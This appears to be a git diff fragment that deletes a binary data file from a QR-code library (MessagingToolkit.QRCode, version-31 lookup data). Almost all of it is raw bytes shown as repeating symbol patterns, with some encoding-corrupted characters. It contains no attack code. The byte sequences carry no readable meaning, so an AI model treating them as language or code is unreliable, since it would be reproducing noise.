11223344qqrrsstthhggffee((''&&%%YYZZ[[\\~~}}@@??>>==AABBCCDDXXWWVVUU))**++,,iijjkkllffeeddcc<<==>>??GFFEEDDCABBCCDDEXWWVVUUT)**++,,-ijjkkllmpoonnmml0//..--,QRRSSTTUHGGFFEED9::;;<<=yzz{{||}`__^^]]\ !""##$$%abbccddexwwvvuut87766554 \]]^^__`ihhggffe00112233wxxyyzz{__^^]]\\""##$$%%bbccddeewwvvuutt77665544 - - JJKKLLMMOONNMMLL 22334455rrssttuuggffeedd''&&%%$$ZZ[[\\]]~~}}||??>>==<<BBCCDDEEHHGGFFEE !!""##ooppqqrr``__^^]]*++,,--.jkkllmmnonnmmllk/..--,,+RSSTTUUVGFFEEDDC:;;<<==>z{{||}}~_^^]]\\["##$$%%&bccddeefwvvuutts76655443 - JKKLLMMN=<<;;554#$$%%&&'rssttuuvQPPOONNM @AABBCCD$$%%&&''ssttuuvv\\[[ZZYY.//00112nooppqqrkjjiihhg+**))(('VWWXXYYZCBBAA@@?>??@@AAB~[ZZYYXXW&''(())*fgghhiijsrrqqppo3221100/NOOPPQQR43322110'(())**+vwwxxyyzMLLKKJJI - - DEEFFGGH(())**++wwxxyyzzXXWWVVUU 23344556rssttuuvgffeeddc'&&%%$$#Z[[\\]]^~~}}||{?>>==<<;BCCDDEEFWVVUUTTS*++,,--.jkkllmmnonnmmllk/..--,,+RSSTTUUV~~}}||{0//..--,+,,--../z{{||}}~IHHGGFFE - - HIIJJKKL,,--..//{{||}}~~TSRQPOON - - 6778899:vwwxxyyzcbbaa``_#""!!  !!"^__``aab{zzyyxxw;::99887 -FGGHHIIJSRRQQPPO.//00112nooppqqrkjjiihhg+**))(('VWWXXYYZ{zzyyxxw,++**))(/0011223~EDDCCBBA LMMNNOOP00112233NMMLLKKJ :;;<<==>z{{||}}~_^^]]\\["##$$%%&bccddeefwvvuutts76655443 - JKKLLMMNONNMMLLK 23344556rssttuuvgffeeddc'&&%%$$#Z[[\\]]^wvvuutts(''&&%%$34455;;<~~}A@@??>>=PQQRRSST4455;;<??@@AAB~[ZZYYXXW&''(())*fgghhiijsrrqqppo3221100/NOOPPQQRKJJIIHHG - - 6778899:vwwxxyyzcbbaa``_#""!!  !!"^__``aabsrrqqppo$##""!!<==>>??@}||{{zzy=<<;;::9TUUVVWWX==>>??@@FEEDDCCBBCCDDEEFWVVUUTTS*++,,--.jkkllmmnonnmmllk/..--,,+RSSTTUUVGFFEEDDC:;;<<==>z{{||}}~_^^]]\\["##$$%%&bccddeefoiihhggf@AABBCCDyxxwwvvu98877665XYYZZ[[\AABBCCDDBAA@@??> -FGGHHIIJSRRQQPPO.//00112nooppqqrkjjiihhg+**))(('VWWXXYYZCBBAA@@?>??@@AAB~[ZZYYXXW&''(())*fgghhiijfeeddccbDEEFFGGHuttssrrq54433221 \]]^^__`EEFFGGHH>==<<;;: - JKKLLMMNONNMMLLK 23344556rssttuuvgffeeddc'&&%%$$#Z[[\\]]^~~}}||{?>>==<<;BCCDDEEFWVVUUTTS*++,,--.jkkllmmnbaa``__^HIIJJKKLqppoonnm100//..- !!""##$`aabbccdIIJJKKLL~~}}||{98765544NOOPPQQRKJJIIHHG - - 6778899:vwwxxyyzcbbaa``_#""!!  !!"^__``aab{zzyyxxw;::99887 -FGGHHIIJSRRQQPPO.//00112nooppqqr^]]\\[[Z LMMNNOOUmllkkjji-,,++**)$%%&&''(deeffgghMMNNOOUU{zzyyxxw33221100RSSTTUUVGFFEEDDC:;;<<==>z{{||}}~_^^]]\\["##$$%%&bccddeefwvvuutts76655443 - JKKLLMMNONNMMLLK 23344556rssttuuvZYYXXWWV - - -UVVWWXXYihhggffe)((''&&%())**++,hiijjkklVVWWXXYYwvvuutts//..--,,VWWXXYYZCBBAA@@?>??@@AAB~[ZZYYXXW&''(())*fgghhiijsrrqqppo3221100/NOOPPQQRKJJIIHHG - - 6778899:vwwxxyyzVUUOONNM - YZZ[[\\]eddccbba%$$##""!,--..//0lmmnnoopZZ[[\\]]srrqqppo++**))((Z[[\\]]^~~}}||{?>>==<<;BCCDDEEFWVVUUTTS*++,,--.jkkllmmnonnmmllk/..--,,+RSSTTUUVGF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XQrlJtArd|~HfpvnXJ`ےbHAZp˙rtAJltbdQZ|d~f`vXnJXQHAbQXb㉀Hr󙐂ˁf۝`vXnvˍ|drQtJlrd|~Hfp~HfJ`ےbHAZp˙rtAJltbdvpfH~f`vXnہJXQr˂pZHrd|ZdQbtvnXv`fbHAZp˂rXQtbdQZ|dtAJlvXnvpfHے`JXۑpJAHr`ZQXbXnvˍpfH~QtJltbAdZZdQbtvnv`pvnbHAZp˂rXQtbdQZ|df`vXnvpfH˂pZHAbے`ZdQbtlJtAv`f~HfprXQJ`ےQZ|drtAJltbnvpfH~f`Qr˂p󙐂ˁ`ZۑpJApfH~ㅐf۝`vtbAdZ|drlJtAf~HXv`frXQJ`ےQZ|drtAJlvXnvpfH~fZHAbے`JXQrlJtArd|~HfpvnXJ`ےbHAZp˙rtAJltbdvpfH~f`vXnۑZHAbQXb㉀Hr󙐂ˁf۝`vXnvˍ|drQtJlrd|fpv~fpvJ`ےbHAZp˙rtAJltbdvpfH~f`Abے`JXQr˂pZHrd|ZdQbtvnXv`fbHAZp˂rXQtbdQZ|df`vXnvpfHے`JXۑp`ZQ`pJAHrXnvˍpfH~QtJltbAdZ| \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_2.dat deleted file mode 100644 index 8bfc630..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv31_2.dat +++ /dev/null @@ -1,281 +0,0 @@ -{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmniiiijijihghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnjijijijihghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzwvuvuvuvststststqrqrqrqrmnmnmnmnjijijijihghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnjijijijihghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnjijijijihghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststqpopopopmnmnmnmnjijijiiihghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmniiijijijhghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnijijijijhghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnijijijijhghghghgdcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnijijijijfefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnijijijijfefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnijijiiiifefefefedcdcdcdcbabababa{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmniijijijifefefefedcdcdcdc`_`_`_`_{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnjijijijifefefefedcdcdcdc`_`_`_`_{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnjijijijifefefefedcdcdcdc`_`_`_`_~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnjijijijifefefefedcdcdcdc`_`_`_`_}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmljijijijifefefefedcdcdcdc`_`_`_`_}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopklklklkljijiiiiifefefefedcdcdcdc`_`_`_`_}~}~}~}~{|{|{|{|yxwxwxwxuvuvuvuvststststopopopopklklklklijijijijfefefefedcdcdcdc`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopklklklklijijijijfefefefedcdcdcdc`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopklklklklijijijijfefefefedcdcdcdc`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvsrqrqrqropopopopklklklklijijijijfefefefedcdcdcdc`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijfefefefedcdcdcdc`_`_`_`_}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijiiiiiifefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklkljijijijifefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~{zyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxutstststqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqronmnmnmnklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklhghghghgfefefefebabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklkjijhghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnijijiiiihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnijijijijhghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnijijijijhghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnijijijijhghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnijijijijhghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]}|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnijijijiihghghghgdcdcdcdcbabababa^]^]^]^]^]^]^]^]^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSOPOOOOOOMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         ^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787855555565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         \[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787865656543212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         \[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787843434343212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         \[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787843434343212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         \[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<7878787843434343212121210/0/0/.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOOOOOOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPMNMNMNMLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSOOOOOOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABA@=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSRQPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;<787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>;<;<;<;:787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQOOOOOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:78787878434343432121210/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!       - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQOPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:78765656434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQOPOOOOOPKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:56555556434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!   - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQOPOPOPONKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:56565656434343430/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:56565656434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:56565656434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLIJIJIJIHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:56565656434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:56565555434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:55656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=<9:9:9:9:65656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:65655555434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! - - - -ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656434343210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!  - - - -ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56565656212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:56555555212121210/0/0/0/.-.-.-,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQMNMNMNMNKLKLKLKJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)('('('&%$#$#$#$#"!"!"!"!     ZYZYZYZYXWXWXWXWTSTSTSTSRQRQPOPOMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:65656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     ZYZYZYZYXWXWXWXWTSTSTSTSPOPOOOOOMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:987865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!     ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@;<;<;<;<7878787865555556212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!      ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         ZYZYZYZYXWXWXWXWTSTSTSTSOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?>;<;<;<;<7878787856565656212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         QQRRSSTT334455;;=<<;;::9DEEFFGGH UTTSSRRQxyyzz{{|5;;<<==> !!""$$##""!!ppoonnmm]]^^__``UUVVWWXX<<==>>??98877665HIIJJKKLQPPOONNM|}}~~>??@@AAB##$$%%&& llkkjjiiaabbccddYYZZ[[\\@@AABBCC54433221~~}LMMNNOOPMLLKKJJIBCCDDEEF''(())**hhggffeeeeffgghh~~}}]]^^__``DDEEFFGG 100//..-}||{{zzyPQQRRSSTIHHGGFFEFGGHHIIJ++,,--..ddccbbaaiijjkkll||{{zzyyaabbccddHHIIJJKK !!""##$-,,++**)yxxwwvvuTUUVVWWX - - EDDCCBBAJKKLLMMN//001122``__^^]]mmnnooppxxwwvvuueeffgghhLLMMNNOO$%%&&''()((''&&%uttssrrqXYYZZ[[\ A@@??>>=NOOUUVVW33445567 \\[[ZZYYqqrrssttttssrrqqiijjkkllUUVVWWXX())**++,%$$##""!qppoonnm\]]^^__`=<<;;::9WXXYYZZ[89:;;<<= - - XXWWVVUUuuvvwwxxppoonnmmmmnnooppYYZZ[[\\,--..//0! mllkkjji`aabbccd98877665[\\]]^^_=>>??@@ATTSSRRQQyyzz{{||llkkjjiiqqrrsstt]]^^__``01122334ihhggffedeeffggh54433221~~}_``aabbcABBCCDDEPPOONNMM}}~~hhggffeeuuvvwwxxaabbccdd45566778eddccbbahiijjkkl 100//..-}||{{zzycddeeffgEFFGGHHILLKKJJIIddccbbaayyzz{{||eeffgghh899::;;<a``__^^]lmmnnoop !!""##$-,,++**)yxxwwvvughhiioopIJJKKLLMHHGGFFEE``__^^]]}}~~iiooppqq<==>>??@ ]\\[[ZZYpqqrrsst$%%&&''()((''&&%uttssrrqpqqrrsstMNNOOPQR - - DDCCBBAA\\[[ZZYYrrssttuu@AABBCCD - - YXXWWVVUtuuvvwwx())**++,%$$##""!qppoonnmtuuvvwwxSTUUVVWW @@??>>==XXWWVVUUvvwwxxyyDEEFFGGH UTTSSRRQxyyzz{{|,--..//0! 